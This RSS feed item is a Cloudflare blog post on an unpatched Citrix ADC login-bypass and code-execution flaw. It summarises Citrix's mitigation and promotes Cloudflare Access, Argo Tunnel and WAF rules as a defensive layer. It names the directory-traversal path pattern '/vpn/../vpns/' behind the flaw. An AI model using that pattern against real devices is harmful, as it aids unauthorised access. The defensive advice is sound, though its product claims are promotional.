            <content:encoded><![CDATA[ <p>Yesterday, Citrix <a href="https://support.citrix.com/article/CTX267027">sent an updated</a> notification to customers warning of a vulnerability in their Application Delivery Controller (ADC) product. If exploited, malicious attackers can bypass the login page of the administrator portal, without authentication, to perform arbitrary code execution.</p><p>No patch is available yet. Citrix expects to have a fix for certain versions on January 20 and others at the end of the month.</p><p>In the interim, Citrix has asked customers to <a href="https://support.citrix.com/article/CTX267679">attempt to mitigate</a> the vulnerability. The recommended steps involve running a number of commands from an administrator command line interface.</p><p>The vulnerability relied on by attackers requires that they first be able to reach a login portal hosted by the ADC. Cloudflare can help teams secure that page and the resources protected by the ADC. Teams can place the login page, as well as the administration interface, behind Cloudflare Access’ identity proxy to prevent unauthenticated users from making requests to the portal.</p>
    <div>
      <h2>Exploiting URL paths</h2>
      <a href="#exploiting-url-paths">
        
      </a>
    </div>
    <p><a href="https://www.citrix.com/products/citrix-adc/">Citrix ADC</a>, also known as Citrix NetScaler, is an application delivery controller that provides Layer 3 through Layer 7 security for applications and APIs. Once deployed, administrators manage the installation of the ADC through a portal available at a dedicated URL on a hostname they control.</p><p>Users and administrators can reach the ADC interface over multiple protocols, but it appears that the vulnerability stems from HTTP paths that contain “/vpn/../vpns/” in the path via the VPN or AAA endpoints, from which a directory traversal exploit is possible.</p><p>The suggested mitigation steps ask customers to run commands which enforce new responder policies for the ADC interface. Those policies return 403s when certain paths are requested, blocking unauthenticated users from reaching directories that sit behind the authentication flow.</p>
    <div>
      <h2>Protecting administrator portals with Cloudflare Access</h2>
      <a href="#protecting-administrator-portals-with-cloudflare-access">
        
      </a>
    </div>
    <p>To exploit this vulnerability, attackers must first be able to reach a login portal hosted by the ADC. As part of a defense-in-depth strategy, Cloudflare Access can prevent attackers from ever reaching the panel over HTTP or SSH.</p><p>Cloudflare Access, part of <a href="https://teams.cloudflare.com/">Cloudflare for Teams</a>, protects internally managed resources by checking each request for identity and permission. When administrators secure an application behind Access, any request to the hostname of that application stops at Cloudflare’s network first. Once there, Cloudflare Access checks the request against the list of users who have permission to reach the application.</p><p>Deploying Access does not require exposing new holes in corporate firewalls. Teams connect their resources through a secure outbound connection, Argo Tunnel, which runs in your infrastructure to connect the applications and machines to Cloudflare. That tunnel makes outbound-only calls to the Cloudflare network and organizations can replace complex firewall rules with just one: disable all inbound connections.</p><p>To defend against attackers addressing IPs directly, Argo Tunnel can help secure the interface and force outbound requests through Cloudflare Access. With Argo Tunnel, and firewall rules preventing inbound traffic, no request can reach those IPs without first hitting Cloudflare, where Access can evaluate the request for authentication.</p><p>Administrators then build rules to decide who should authenticate to and reach the tools protected by Access. Whether those resources are virtual machines powering business operations or internal web applications, like Jira or iManage, when a user needs to connect, they pass through Cloudflare first.</p><p>When users need to connect to the tools behind Access, they are prompted to authenticate with their team’s SSO and, if valid, instantly connected to the application without being slowed down. Internally managed apps suddenly feel like SaaS products, and the login experience is seamless and familiar.</p><p>Behind the scenes, every request made to those internal tools hits Cloudflare first where we enforce identity-based policies. Access evaluates and logs every request to those apps for identity, giving administrators more visibility and security than a traditional VPN.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1V9hdnCPxsCBQoyCZ5peTZ/eed77d5ff1cd7aea3a8c4735109ccba4/OI271IwwN3SGFRlP3IaooVZS8Qw80LUcKxg6e1juoHS0UqLgaAc2qtzPcXT-mycHiGwSlAW_qn3bp6TPizTrCBChjWbRSpFRRl-O50ObAwAAlzoOyVYM7Iv4PQef.png" />
            
            </figure><p>Cloudflare Access can also be bundled with the Cloudflare WAF, and <a href="https://developers.cloudflare.com/waf/change-log/2020-01-16---emergency-release/">WAF rules can be applied</a> to guard against this as well. Adding Cloudflare Access, the Cloudflare WAF, and the mitigation commands from Citrix together provide layers of security while a patch is in development.</p>
    <div>
      <h2>How to get started</h2>
      <a href="#how-to-get-started">
        
      </a>
    </div>
    <p>We recommend that users of the Citrix ADC follow the mitigation steps recommended by Citrix. Cloudflare Access adds another layer of security by enforcing identity-based authentication for requests made over HTTP and SSH to the ADC interface. Together, these steps can help form a defense-in-depth strategy until a patch is released by Citrix.</p><p>To get started, Citrix ADC users can place their ADC interface and exposed endpoints behind a bastion host <a href="https://developers.cloudflare.com/access/about/how-access-works/">secured by Cloudflare Access</a>. On that bastion host, administrators can use Cloudflare Argo Tunnel to open outbound-only connections to Cloudflare through which HTTP and <a href="https://developers.cloudflare.com/access/ssh/connect-ssh/">SSH requests</a> can be proxied.</p><p>Once deployed, users of the login portal can connect to the protected hostname. Cloudflare Access will prompt them to log in with their identity provider and Cloudflare will validate the user against the rules created to control who can reach the interface. If authenticated and allowed, the user will be able to connect. No other requests will be able to reach the interface over HTTP or SSH without authentication. The first five seats of Cloudflare Access are free. Teams can sign up <a href="https://teams.cloudflare.com/access/index.html">here</a> to get started.</p> ]]></content:encoded>
            <category><![CDATA[CVE]]></category>
            <guid isPermaLink="false">1Ka0yQT6GxoZlDq0sOoEDi</guid>
            <dc:creator>Sam Rhea</dc:creator>
        </item>
    </channel>
</rss>